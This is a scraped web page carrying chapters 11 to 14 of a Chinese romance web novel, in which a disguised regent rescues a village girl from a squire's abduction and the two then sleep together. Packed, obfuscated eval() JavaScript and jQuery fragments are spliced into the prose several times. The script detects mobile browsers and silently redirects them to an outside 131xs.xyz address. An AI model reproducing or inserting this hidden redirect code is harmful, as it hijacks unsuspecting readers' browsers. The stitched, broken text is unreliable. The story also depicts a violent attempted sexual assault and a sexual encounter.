$(''.inform'').remove(); $(''#content'').append('' 那些。裴时瑾虽然不明白,但明白他不应该这样做。 裴时瑾捏了捏眉心,用帕子擦汗。帕子是白日里二人逛完庙会回来后,阮莹说这些日子他实在帮了她太多,不知怎么感谢,送了他一方自己做的帕子。 帕子上还有阮莹的香味,裴时瑾不由得轻嗅了声,那场梦便续到了现实里。他有一瞬几欲屈从欲↑念,借由她的帕子做些什么,但终究没有。 裴时瑾想到阮莹的拥抱,想到她的柔软,和那个一触即离的意外的吻,都太近了,他们靠得太近了。 这样不行。 他们之间的距离应该是很远的,远到几个月后再没有交集。何况她已经有心仪的男子,裴时瑾心下做了决定。 次日,阮莹再来找裴时瑾时,没有见到他。 长明和她解释:“阮姑娘,我们公子说这些日子有些事,要出门一趟,您过些日子再来吧。” 裴时瑾没有出门,他只是不见阮莹。 他认为是他们这些日子靠得太近,需要拉开一些距离,等过些日子,也就好了。倘若她因此疏远,那也不错。 阮莹吃了闭门羹,难掩失望的情绪:“子玉哥哥走得这么急么?怎么也没和我说一声?” 长明只是笑。 阮莹又问:“子玉哥哥应该还会回来吧?” 他不会从此一去不返,再不回金水镇了吧?那她这些日子以来的所有努力,岂非付诸东流,竹篮打水一场空。她可不希望这样。 长明说:“那当然了,你别多想。” 阮莹得了长明的答复,心安了些,打道回府。阮莹没有多想,真以为裴时瑾有事出去了。 裴时瑾的影子在窗下长立,他知道阮莹来过,长明按他的吩咐将她拦了下来,没多久,她又走了。 其实她连院门都没进,隔着几道门,她娇柔的嗓音也并不真切,微弱得不如树上蝉鸣,吵不到任何。可裴时瑾却无端感觉,她走后,院中安静了很多。 哪怕那树上的蝉鸣声仍旧喧嚣,不曾减弱分毫。 裴时瑾垂下眼眸,收回自己走神的思绪,阮莹始终是个过客,他不该关注太多。他有自己的路要走,他要做的事很多。 距离他离开京城,已经两个月。可少帝却仍然成日里只知道吃喝玩乐,并不勤勉于政事,为此,周太后大发雷霆,罚了少帝身边一干奴仆,少帝因此消停了几日,终于愿意打起精神来处理朝政。可他所做的决策也实在糊涂,被朝臣们驳斥了几次。有大臣给裴时瑾去信,询问他几时归京主持大局。 裴时瑾看罢信件,一时无言。他这好侄儿似乎不是做皇帝的料子,可他始终是先帝唯一的儿子。先帝体弱,就连生下少帝,也带累了他,少帝胎中不足,日后恐怕不会有子嗣。太医曾经暗里向裴时瑾禀报过此事,太医拿不定主意,不知要不要告诉太后与少帝,裴时瑾当时让他按下不表。 亦或者,他可以辅佐少帝,待少帝日后身死,再将皇位拿回来。裴时瑾轻转手中的扳指,做不出决定。 他此一生得过的好实在太少,先帝那点恩情,让裴时瑾挂在心里珍而重之。 裴时瑾想到阮莹,还有另一个人,也对他好。 11. 第 11 章 裴时瑾拉回思绪,提笔写回信。他让他们先稳住朝中事,如今朝堂中多数是裴时瑾的人,周太后虽然暗里想安插人手,可周太后能用的人不多,倒也不会造成太大影响。 待将京城来的密报和信件都处理完,已经过去不少时间,不知不觉已经是黄昏时分,日影西沉,柿子树的影子落在窗台,裴时瑾搁下笔,轻捏眉心,闭目养神。 因着对外说他是书生,故而他让长林他们准备了一些书在家中,不过那些多是装装样子,裴时瑾每日最像书生的时候,就是教阮莹识字。 裴时瑾动作一顿,他竟又想起阮莹,或许是因为今日阮莹不在,他有些不习惯。人的习惯便是如此,改起来不是顷刻间能做到的事。 但阮莹不该成为他的习惯。 之后几日,裴时瑾便是照常处理京城书信密报,没有阮莹的生活倒也没什么。只是偶尔,裴时瑾坐在桌案前,会脑海中忽然闪过阮莹的声音,唤他子玉哥哥。 子玉哥哥,你看我这个字写得怎么样? 子玉哥哥,你好厉害。 子玉哥哥,你真好。 子玉哥哥…… 又一声子玉哥哥在他耳边闪过,裴时瑾一怔,看向空着的位子,鬼使神差地提笔,在纸上写下阮莹二字。 待回过神来,裴时瑾视线落在面前的纸上片刻,轻叹了声。 他将那纸揉作一团,扔进了废纸篓中。 人的习惯还真是太难改,分明他已经疏离阮莹数日,他们不过短短一月的相处,何以有如此之深的羁绊? 裴时瑾想不通。 他因着要躲阮莹,并不能出门,不过即使没有阮莹,他也不常出门,他对这金水镇没什么探索的兴趣。金水镇地方小,也没什么有趣的地方,不过是为隐匿行踪随意选择的一处地点,这地点可以是金水镇,也可以是银水镇铁水镇。 唯一一点,大抵只有一个阮莹。 裴时瑾思索片刻,忽地想起阮莹性子单纯,身体娇弱,这几日他不在,还是得让人暗中护着她才好。他想罢,吩咐长明去做这事。 “你暗中保护她的安全,若是她无事,不要暴露你的行踪。” 隐匿行踪对他们而言轻而易举,但长明不清楚自家公子用意何在,若说是闹了矛盾才避而不见人家,可又让他保护人家安危。 唉,主子的心思真难猜。 长明应下,告退出去。 裴时瑾在房中缓缓踱步,又想,待过些日子,他可以让阮莹嫁给她心仪的男子,她爹听来无非是个酒鬼,给些银钱应当好办。她嫁了人,想必那赵员外也不会再惦记着,如此此事便可解决,他也不必再假装她的情郎。 她家中贫穷,嫁妆大抵没有,既然他们相识一场,又有几分天涯沦落人的相同境遇,他可以再为她添些嫁妆,日后不至于让他们夫妇二人生活凄苦。 裴时瑾双手反剪身后,又想,不知她心仪的男子是何人,是否靠得住?她心思太单纯,连他这个了解不深的人都全然信任,看人的眼光不好评断,万一那人是个不值得托付的,那这桩婚事倒成不得。 或许可以让她将那人带来,他替她掌掌眼,他虽不擅长交际,但分辨好人坏人总还可以。 裴时瑾暗自在心里计划着一切,将阮莹的未来安排妥当。 - 一连过了数日,裴时瑾依旧未归。 阮莹心里不免打起鼓来,虽说他身边人说他会回来,可万一他不回来了,自己又该如何是好?阮莹心里一番忐忑不安,家中的米正好吃完了,她按下心里的忐忑,上街上的米行买米。 没成想,正巧遇上钱成才与苗玲夫妻俩。 上回钱成才看阮莹的眼神让苗玲回家发了一通脾气,钱成才哄了好几日,又给她买了几件首饰,这才哄好人。钱成才放不下阮莹,但到底已经娶了苗玲,苗玲大小也是个美人,钱成才当然舍不得。 两个人正说着话,钱成才余光瞥到阮莹身影,话头一顿。 苗玲顺着他视线看过去,脸色顿时垮了下去。 钱成才当即哄道:“娘子,你别多想。我就是想起来,听说阮莹那个相好这几天出了门,都好些日子了,还没回来,该不会是不回来了吧?她以为自己攀上什么高枝,结果竹篮打水一场空,咱们不正好趁势羞辱羞辱她?” 这话正中苗玲下怀,苗玲轻哼了声,唤了声:“阮莹。” 阮莹见是他们夫妻俩,没什么好脸色。 苗玲嗤笑道:“哟,怎么,不好意思见人哪?” 阮莹眨眨眼,无辜道:“我为什么要不好意思见人?” 苗玲掩嘴笑说:“还当我们不知道呢,听说你那个相好的,他走了,不要你了。” 阮莹冷笑说:“他只是出门办点事,过两天就回来了。” 苗玲轻蔑一笑:“谁知道他还回不回来?人家可是京城来的富贵公子,你不会当真以为他会娶你吧?就是玩玩儿罢了,人家三妻四妾惯了,你只怕连个妾都混不上。” 那天苗玲见她和一英俊男子坐在一桌,举止亲密,后来一打听,说是她的相好,从京城来的富贵公子,苗玲气得眉头都歪了。她就是见不得阮莹一点好,阮莹就只能过得比她差才行。 阮莹:“他当然会娶我,他已经给家中写信,过些日子他就会带我回京城成婚。” 这话裴时瑾当然没说过,他们俩甚至还未到这一步,但此刻气势上不能输。何况阮莹相信自己的魅力,这也只是迟早的事。 苗玲听她语气笃定,一时又被气煞,只撂下一句:“走着瞧,我等着看你哭。”便拉着钱成才离开。 阮莹看着他们夫妻俩的背影撇了撇嘴,被苗玲这么一说,她心里的恐慌又升了起来,想着待会儿回家再去裴子玉那儿看看。 钱成才和苗玲离开后,钱成才哄了苗玲好久,终于把人哄好。 “她就是嘴硬,依我看啊,那人哪里会娶她?哦哟,娘子,我的荷包好像不见了,许是掉在刚才的路上了,你先回家,我去找找啊。” 苗玲一皱眉:“我跟你一起去吧。” 钱成才拦住她:“不用,这大热的天,你先回家,我自己去就成。” 苗玲没有再坚持,只让钱成才早去早回。钱成才连声应下,却是折回来找阮莹。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559810|171351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 阮莹没想到这钱成才还不依不饶,正欲开口,听见他笑说:“阮莹,你老实告诉我,那男的是不是不回来了?他是不是骗了你?” 阮莹懒得理他,他长那张丑脸,多看一眼都觉恶心。 钱成才跟在她身后,不怀好意道:“只有我不会骗你,我再给你一次机会,跟我,怎么样?你也看见了,这些日子苗玲过得怎么样,那可本来都是你的好日子。” 阮莹斜了眼钱成才,心生一计,当下为难道:“可你已经娶了苗玲了,我可不愿意给她做小。你也知道她一向不喜欢我,若是进了你家的门,她日后欺负我可怎么办?要让我跟了你,你得先休了她。” 钱成才看她态度和缓,心下大喜过望:“她敢欺负你,我当然给你撑腰啊,这怕什么。” 阮莹摇头,娇嗔道:“那不成,我不愿意做小的。待你休了她,再来寻我吧。” 阮莹说罢,从钱成才身侧绕开,走远了。 钱成才看着她的背影,一时为难,他虽然喜欢阮莹,可苗玲也不错,何况苗玲嫁给他这么久,一向做得很好,什么错处都没有…… 不远处,苗玲跺了跺脚。 好他个钱成才,原来打的是这个主意!她方才就觉得不对劲,所以又绕了回来。 苗玲恨恨看着阮莹背影,这个阮莹,竟还想着勾引她相公,她绝不能让阮莹得逞。就连那京城来的富贵公子,阮莹也不该嫁,她就该嫁给那个糟老头子做小老婆,等几年那糟老头子死了,赵家夫人再磋磨她才对。 苗玲眸中闪过一丝歹毒,她得游说那赵员外,让他把那阮莹生米煮成熟饭,到那时,阮莹就只能乖乖当那赵员外的小老婆了。 苗玲想罢,当即去见那赵员外。 那赵员外本也是个不甚将律法放在眼里的,又色↑欲熏心,被苗玲一番煽动,愈发按耐不住。苗玲说得有理,他都六十岁了,应当趁早享乐,那阮莹人间尤物一个,就应该属于他。至于她那相好,他查过了,京城的富贵人家难不成手还能伸这么长,管到金水镇来? 如此一想,心下有了决断,叫来管家,吩咐下去,让他们盯紧阮莹,想办法将人直接掳来。 苗玲见事成,笑着道贺:“我等着喝赵老爷的喜酒。” 赵员外摆摆手,命人送苗玲出去,想到马上就能得到阮莹,又不禁摩拳擦掌,兴奋得在厅中来回踱步。 阮莹买了米归家,又去叩响隔壁房门,得到的答案自然还是一样,说裴时瑾还没回来。 阮莹心里失望又着急,可却不知能做些什么,她不知道哪里出了差错,让那裴时瑾直接走了。分明一切都很好,那天他们还有个一触即离的吻。 阮莹离了家,沿着金水河散步。 夏日里的风也是热的,她撩了撩头发,正欲找个地方坐下休息,忽地听见一阵脚步声从身后传来,她才刚回头,便觉一阵阴影拢在头顶,下一瞬,便被塞进了麻袋里,被人扛在了肩上。 长明原在暗处跟着阮莹,一个晃神的功夫,人却跟丢了。长明心下大骇,赶忙回去禀报裴时瑾:“公子恕罪,我保护不力,阮姑娘出事了……” 12.第 12 章 裴时瑾眸色一凛,冷眼扫来:“我让你暗中保护她,你便是如此保护的?” 长明自知办事不力,垂头认错认罚,但心里也为阮莹的安危担忧。 “公子,现在怎么办?” 阮莹是金水镇长大的,邻里之间哪里能有什么深仇大恨?她若出事……裴时瑾想到那个色眯眯的赵员外。 “去赵家。” ◇ 阮莹再睁开眼时,映入眼帘的是陌生的房间,屋内陈设颇为富贵,与她的卧房截然不同,她懵然片刻,被后脑勺隐隐传来的痛感拉回思绪。她揉了揉脑袋,一转头就看见一张放大的猥琐的老脸。 赵员外笑着,露出发黄发黑的牙齿,有两颗是金子补的。他脸上褶子堆在一起,眼中直放精光,俨然已经用眼睛将她衣裳剥下。 “阮莹啊阮莹,可算叫我等到了。” 阮莹惊吓一声,缩进角落里。 “赵老爷……你……你这是什么意思?”阮莹心突突跳,已经有最坏的猜测,这里恐怕是赵员外家中,至于她为何会在赵员外家中…… 她的心猛地跌至谷底。 这赵员外好色阮莹知晓,他不是什么好人阮莹也知晓,可阮莹没想到,他能坏到这份上。 赵员外笑声也透着几分苍老,枯瘦的手指从床褥一寸寸靠近阮莹,好像一条毒蛇步步逼近。阮莹背脊贴着墙角,退无可退。 “我是什么意思?你不清楚么?你说说,你要是早早应了我,今日何必吃这苦头?咱们欢欢喜喜地做成了夫妻,不好么?” 阮莹听得作呕:“你若是对我做什么,我就去报官。” 赵员外似乎觉得她的话有些可笑:“报官?我告诉你,县太爷到时候也得来喝我的喜酒。何况你爹也会帮着我,没人能证明你不是自愿的。没人能帮你,你就从了我吧,阮莹。” 阮莹咬着下唇,没再说话,她当然也知道赵员外的话是真的,难道她今日就要认命,给这个只剩一口气的老头子做小老婆? 不,她不要。 阮莹想到裴子玉,她分明可以嫁给一个年轻英俊的好人,前程似锦,那是她构想过的未来。她不由得期待起裴子玉能救她于水火,可她也知道,没有可能。 裴子玉此刻与她远远相隔,又怎会知晓她当下的困境呢?即便他能听见自己的心声,也赶不过来替她解围了。 阮莹的心沉了又沉,正当此际,赵员外那双干巴的手抓住了阮莹的胳膊,阮莹猛地挣开他的手,从床上跳了下来。她拼命往门边跑,可门怎么也打不开,竟是上了锁。 身后赵员外奸诈的笑声又传来:“你以为你今天能跑得了?阮莹,你就跟了我,我难不成还会亏待你?” 赵员外再次追了上来,阮莹只能在房间里与他追逐,推搡之间,那赵员外的额头一下子撞在了桌角上,冒出血来。 这一下真是惹恼了赵员外,他一把抓住阮莹的头发,将她甩在地上,便甩了她两耳光,阮莹被打得眼冒金星,一时动弹不得。那赵员外趁势便要撕扯她的衣裳,阮莹抬手抵抗,又被他甩了一个耳光。 她白皙的脸颊浮肿,青丝凌乱散落,身上衣裳也被扯破,实在狼狈至极。 阮莹眼泪止不住地往下掉,她本是个爱哭的性子,她哭起来的模样反而更惹得赵员外兴奋起来。 “啧啧啧,小美人儿,哭什么,我会好好疼你的。” 赵员外话音刚落,只听见轰隆一声,两扇门竟是飞了过来,一道高大的身影笼在门口。 阮莹泪眼婆娑地看向门口,那是……裴子玉。 她的心陡然间又升了起来,扑通扑通地跳动着。她眼睁睁看着裴子玉走近到她身边,长明两下就把那赵员外掀翻在地。赵员外叫喊起来,门外的家丁也冲了进来,和长明他们扭打在一起,一时间嘈杂声不绝于耳。 但裴子玉只是解下披风,将她拢住,打横抱起,稳稳地从那些喧嚣里走出去。 就好像,这一刻世上只有他们二人。 阮莹呆呆地盯着裴子玉,她看着他的下颌,看着他的嘴唇,他的鼻子,他的眼睛…… 四目相对。 他是她的英雄。 阮莹想,她爱他。 她向碧女娘娘起誓,她真的爱裴子玉。 脸上的痛楚与心中的委屈仿佛都后知后觉地宣泄出来,阮莹哭到喘不上气,她埋首在裴时瑾怀里,听见他的心跳声落在她耳中。裴时瑾听见她的哭声,双臂收得更紧,心里也仿佛被针刺了一下似的。 他回头看了眼长林,长林他们跟了他许多年,一个眼神就知道他的意思。他们会好好伺候这位赵老爷,不会让他再敢做任何事。 裴时瑾抱着阮莹,出了赵宅。阮莹眼下的模样不能被别人看见,若是带她回家,势必有人会看到,对她的名声不好。裴时瑾思忖片刻,带她去了金水河边。 水声潺潺,裴时瑾放阮莹在草地上坐下,阮莹始终依偎在他怀里,不肯离开。 他知道她这是害怕极了,少女的身体还在微微颤抖。 阮莹终于开口唤了他一声:“子玉哥哥……” 她的声音不似从前动听,像生涩的琴弦。 阮莹吸了吸鼻子,忽然意识到一件事,她捂住脸:“子玉哥哥,你不要看我。我现在一定很难看。” 的确有些狼狈,但裴时瑾看在眼里,并不觉得难看,反而觉得揪心。 他在心疼她。 裴时瑾道:“没有。” 他拿帕子在河水里打湿,要替她洗脸,阮莹接过帕子,自己洗了脸。她擦去脸上的泪痕,又把头发理了理,这才觉得好受了些。 她低头看了眼身上破烂的衣裳,一时无言。 裴时瑾说:“我已经让他们去买,等会儿就可以换上。” 阮莹轻嗯了声,又咬住唇,不说话了。 裴时瑾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565524|171351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手落在她的背上,轻拍了拍:“没事了。” “别怕,没事了。” 阮莹听着他的声音,让人觉得心安。 她靠在裴时瑾怀里,小声问:“子玉哥哥,你什么时候回来的?你怎么知道我被赵员外掳走了,来救我的?” 裴时瑾一时默了默:“今日。长明刚好瞧见了。” 他对她说谎,心里竟有几分不忍。 阮莹并没有怀疑,轻哦了声,把头埋进他胸膛。 “幸好你今天回来了。谢谢你,子玉哥哥,你救了我。” 裴时瑾没有说话。 长明很快买了新衣裳回来,将衣裳送来,便又安静退了回去。 裴时瑾让阮莹换上衣裳。 他背过身,不看她。 阮莹拿起那件衣裳,眸色一动,她认得这件衣裳,是镇上那成衣铺里最贵的一件,她曾经路过看过无数次,但总遗憾自己买不起。她一直觉得这件衣裳她穿着应该会很好看,没想到今日会以这种方式穿上。 她看向裴时瑾,他出手果真阔绰…… 阮莹在他背后,用他的披风罩着自己,换上了新的衣裳。长明要得急,又不知道阮莹尺寸,因而这身衣裳比阮莹平时穿的尺寸略小了些,腰身倒是还好,胸口处略显挤,越发突出她的娇盈,令人移不开眼。 阮莹从身后环抱住裴时瑾,脑袋埋在他脖子里,唤他子玉哥哥:“你不在的这些天,我很想你。” 她的娇盈紧紧贴着他的后背,她温热的呼吸喷洒在他脖颈,裴时瑾身形一绷。 阮莹继续说下去:“子玉哥哥,其实我不想告诉你的。可是我今天感觉好害怕,我担心我不说出来,以后可能就没有机会说了。” “我喜欢你。” “从第一次见到你,我就喜欢你了。你长得那么好看,那么有气质,又对我那么好,我越认识你,越觉得喜欢你。可是我知道我配不上你,你是京城来的富贵公子,而我只是一个贫家女,我高攀不上你,我知道的。可是……子玉哥哥,我真的好喜欢你。我不求任何名分,我甚至可以做你的婢女,只要能跟着你。” 裴时瑾完全僵住,他手指握拳,心也跳得很快。 有些想不通的事,好像被阮莹这一句“我喜欢你”解开了谜底。 水声潺潺,像蜿蜒流进他心里。 也落在他脖颈里。 温热的触觉,裴时瑾愣了愣,才反应过来那是阮莹的眼泪。 他顿时有些无措,不知如何是好。 “子玉哥哥……” 温热的,柔软的触觉,又落在他脖颈。 裴时瑾微微睁大眼睛,呼吸完全乱了。 阮莹的嘴唇印在他脖子,到下颌,再到他的嘴角。 阮莹眸中盈满水雾,媚声入骨:“子玉哥哥,你要了我吧。” “我愿意把我给你,不求任何,只是因为,我喜欢你。” 13.第 13 章 阮莹含羞带怯地看着裴时瑾,她是一个脑袋空空的漂亮女人,对于俘获男人的心,她只会用这一种办法,用她的美丽去引诱他们。在她过往的人生里,这一招可以说百试百灵。 她的手绕过他宽厚的肩膀,搂住他坚实有力的腰,她像一株藤蔓攀附高大的树那般将他缠绕住,汲取他的温暖。 她是这样的柔弱而美丽,让人不忍推开。裴时瑾被她的话语惊到,良久地沉默着,他从没有往这方面想过。 原来她喜欢自己。 阮莹见他不说话,又柔声唤他:“子玉哥哥。” 她一面唤他的名声,一面用她柔软的双唇贴上来。她笨拙地吻他,毫无章法,全凭本能。 裴时瑾心跳得有些快,他按住阮莹的动作,“阿莹……” 阮莹看着他,用她那双干净的眼睛把他望着,深情地,缠绵地。 裴时瑾心里愈发慌乱,“我……” 阮莹怕他要拒绝自己,兀地堵住了他的唇,将他未说的话吃下去。趁他张嘴的瞬间,她柔软的舌↑头钻进他的嘴巴,照旧是毫无章法,笨拙又莽撞。 “求你了,子玉哥哥。我不用你对我负责,只要你能记得我,一辈子都记得我。”阮莹的话语那么轻,却又那么重地落在他心头。 她身上香味袅袅袭来,让裴时瑾头晕目眩,女子香气,女儿家的娇柔,都刺激着裴时瑾的思绪。他是一个身体正常的健康男子,美人如此主动,他没可能做到无动于衷。他已经有反应,身上热血仿佛都沸了起来,叫嚣着要她。 可他耐着性子,还在想一些事。男女之情那些事对裴时瑾而言太过陌生,她说她喜欢他,第一次见面就喜欢他,喜欢得不得了,裴时瑾不知道怎么回应她。她要把自己的身子给他,可姑娘家的身子多么重要,他又怎么可以轻易接受? 裴时瑾抓住她的手,看着她的眼睛。 他总是不忍心拒绝她。 裴时瑾迟迟没开口。 阮莹喃喃:“子玉哥哥,你是不是讨厌我?” 她发红眼眶留下一行清泪,更惹人怜惜。 水声潺潺,裴时瑾思忖片刻,做下决定。 他低头吻去她脸上的泪,阮莹脸上的巴掌印还是红的,刺眼醒目。裴时瑾动作轻柔,怕弄疼她。 “没有讨厌你。”裴时瑾回答阮莹的问题。 阮莹唇角往上翘了翘,她又哭又笑,伸舌↑头舔↑他的嘴唇,裴时瑾接住她的吻。虽然裴时瑾是第一回,可男人在这种事上无师自通,不过片刻便已经摸索出些门道。 他衔住阮莹的唇瓣,又吮又咬,勾着她的柔↑舌,许久才停下来。 裴时瑾重重呼吸:“待过些时日,我可以给你名分。我会带你回京城,但必须得等些日子。” 阮莹露出欣喜的神色:“真的吗?子玉哥哥,你会带我走吗?我……我可以一辈子都跟在你身边吗?” 她期待的表情不是假的,轻而易举地说出一辈子这种词来。 裴时瑾自己都没想过一辈子要做什么。 他轻嗯了声,又含住她的唇珠。 “子玉哥哥,你也喜欢我吗?”不觉间,阮莹已经坐在他怀里,依偎着他的胸膛,仍不大确定地追问。 裴时瑾嗯了声。 阮莹听到他的答案,惊喜之情溢于言表,嘴角翘了又翘,完全压不下去。 她就知道,裴子玉一定会喜欢她的。她成功地勾得了他的心,以献出自己的筹码。 阮莹搂住他的脖子,主动又笨拙地凑上来,迎合裴时瑾的动作。裴时瑾掐着她的腰,没有继续,哑声说:“不行。” 阮莹不解地看他:“为什么?” 她似乎不明白那是很重要的东西,不该这么随便地给别人。又或许她知道,正因为知道很重要,所以愿意给他。但裴时瑾不知道该怎么说拒绝的话,如果太直白,她会不会又伤心,他委婉道:“这里不干净,在外面。” 阮莹哦了声,似懂非懂,她想富贵人家就是爱干净,嫌这种地方不干净,阮莹自己没觉得,她在乡野里出入的次数很多。 这话成功安抚住了阮莹,她没有再做什么,只是靠在他怀里,纤细的胳膊抱着他。 裴时瑾搂住她,平缓自己的心绪。 阮莹安静待了一会儿,又抬头看他:“子玉哥哥,你再亲亲我,好吗?我还是有点后怕。” 她亲昵地蹭了蹭他的脖子,像只乖巧的猫儿。 裴时瑾低头吻她,津涎交缠。 不知道过了多久,阮莹有些脱力地靠在他怀里,闭上眼睛直吸气。她也没有任何经验,不知道原来男女之间的事是这样的,让人有些着迷似的。 二人又坐了许久,才往归家的方向走。 阮莹站起来,裴时瑾却在她面前蹲下,示意她爬上自己的背,他背她回去。 阮莹怔了怔,慢慢趴下。 她觉得自己眼光真好,找到了一个这么好的男人。家中有钱,长相英俊,才华横溢,简直无可挑剔。 她紧紧抱住裴时瑾,裴时瑾高大的身影给她一种安全感。 裴时瑾原本要带她回她家,阮莹不肯,说想去他那里,“我想和你待在一起,子玉哥哥。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴时瑾嗯了声,放下碗,问要不要送她回家。 阮莹摇头,抱住裴时瑾,脑袋靠在他肩膀上:“我不想回家,子玉哥哥,我害怕,我今晚可以留在这里吗?” 她睡醒之后,想到了他们没有做的事。裴时瑾说喜欢她,答应带她回京城,可她还是不安心,她想把自己的身子给他。比起那令人作呕的赵员外,她更希望把她的身子给裴时瑾。 裴时瑾顿了顿,点头,转身欲走:“那你好好休息。” 阮莹拉住他的手:“子玉哥哥,你也留下来陪我好不好,我们一起睡。” 14.第 14 章 裴时瑾动作一顿,视线落在她纤细的手指上,缓缓上移,对上她充满隐隐不安的眼神。 “我在这儿守着你,等你睡着再走。”他抿唇道。 阮莹不肯放他走,她把他的手抓得更紧,脑袋往他怀里凑:“你和我一起睡吧,子玉哥哥,你不知道我今天有多害怕。” 她只是一个柔弱的小姑娘,面对那种事,当然害怕极了,所以这时候才会这样眷念他。 裴时瑾垂眸,妥协:“好,我陪你。” 他和衣在阮莹身边躺下,有意与她隔开些距离。这样近的距离,他怕自己会有一些异样反应。 阮莹却好似完全不懂他的苦心,抱住他的胳膊,贴了上来。她钻进他坚实有力的臂弯里,头枕着他的胸膛,做完这些后,脸上露出了安心的神色。 “子玉哥哥。”阮莹仰头看他,她柔顺的青丝垂落肩上,脸上素净未施脂粉,但容色仍倾城。 裴时瑾轻嗯一声。 阮莹在他怀里拱了拱,往上仰起脖子,柔弱的嘴唇贴在他唇边,“子玉哥哥,这里干净……” 她的声音轻细,像春风拂过他的耳边,一路吹渡过他的原野,春风引诱万物焕发生机。 裴时瑾垂下眸眼,撞进她的视线。 她的吻追上来,小心翼翼地舔↑过他的嘴唇,像春风无孔不入地钻进唇齿。裴时瑾慢慢地回应她笨拙的吻,但只是吻而已。 他嗓音有些低:“阿莹。” “你不要这样,再等等,等我们成亲。” 阮莹轻咬着他的唇瓣,天真的嗓音里带着无限欣喜:“子玉哥哥,我们会成亲的是吗?” “是。”他肯定地回答。 “那既然如此,现在和以后又有什么分别呢?难道你会因为今天得到我,然后抛弃我吗?”她舔↑他的牙齿。 “自然不会。”裴时瑾其实是个重情之人,只是他所拥有的情不多,落在别人眼里便成了一个冷心冷情的人。 阮莹轻笑起来:“那就好了呀。” “子玉哥哥,我爱你。”她拥住他,重复一遍,“我好爱你。” 她用爱攻掠他的城池,裴时瑾无力反抗,他试图转移话题:“长林说,那赵员外称自己是被人挑唆才一时鬼迷心窍,他说那人叫苗玲,你认识吗?她与你可是有什么仇怨?” 阮莹道:“苗玲?竟然是她,我们之间……我们小时候是形影不离的朋友,后来不知道为什么,形同陌路了。她很讨厌我,处处针对我,可我从没有想过她会恨我到这种地步。” 她似乎有无限的委屈,裴时瑾安慰了一句:“是她的不对。” 阮莹道:“那子玉哥哥,你帮我教训她好不好?” 裴时瑾心猿意马:“你想怎么教训她?” 阮莹说:“打她一顿好了。” 她没有顺着裴时瑾的话忘记自己原本的目的,再次迎上来,吻他的喉结。她在他凸↑起的喉结上轻↑咬了一下,听见裴时瑾闷哼了声。 裴时瑾抓住她纤瘦的手腕,轻声地叹息,终于丢盔弃甲。 “阿莹,你……”他没有说下去,只是低头衔住她的嘴唇,不是她那般轻柔的挑↑逗,而是充满着占有的一个粗↑暴的吻。 他用他的行动告诉她,她将要面对什么,想让她知难而退,如果她知难而退的话…… 但阮莹没有,她被他欺负得眼眸含雾,却仍是固执地贴近他,“子玉哥哥……” 裴时瑾托住她的下巴,再次缠吻上去。 阮莹好看的眼睛里全是雾气,压抑着哭声,裴时瑾也没想到会让她这么难受,他一时无措,进退两难,只好吻去她的眼泪。 阮莹吸了吸鼻子,拿脑袋蹭了蹭他,“子玉哥哥,你亲亲我,亲亲我就不疼了……” 裴时瑾亲了亲她。 其实还是疼得厉害,阮莹没想到会这么疼,许是因为裴时瑾异于常人,她没想到他看起来斯斯文文的,其实这么有力,身上肌肉坚↑实,还有许许多多大大小小的疤。 阮莹这会儿顾不上怀疑他的身份,问这些疤的由来,她抽着气,让自己舒缓一些。不知道过了多久,终于适应了些。 她趴在裴时瑾臂弯里,毫无力气,“子玉哥哥……” “阿莹真的好喜欢你呀。”她声音轻轻的,但足够裴时瑾听见。 裴时瑾顾惜她,没有太凶狠,草草结束一回,他胸口起伏不定,搂紧她。他缓了缓,要抱她去浴桶里清洗。 阮莹乖乖地趴在他肩上,任由他抱起。 她身材方才被他一览无余,这会儿多看一眼都是一种火上浇油,裴时瑾动作迅速替她清洗一番,而后抱她回去躺下。她穿的衣服全是汗,穿不得了,裴时瑾只得找了他自己的中衣给她穿,他的中衣穿在她身上大大的,愈发衬得她人小小的,缩在他怀里,依恋地贴着他,喃喃唤他哥哥。 她累了,很快就睡着了。 裴时瑾却睡不着,她的重量压在他胳膊上,小小的床帏之间除了她的味道,就是他们交织的味道。 裴时瑾本以为她只是一个过客,没想到会变成这样。 他深吸一口气,闭上眼睛。 裴时瑾昨晚没怎么睡,但早上还是早早醒了,他没有起来,只是闭目养神,等阮莹醒过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574730|171351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀里的人动了动,裴时瑾睁开眼。 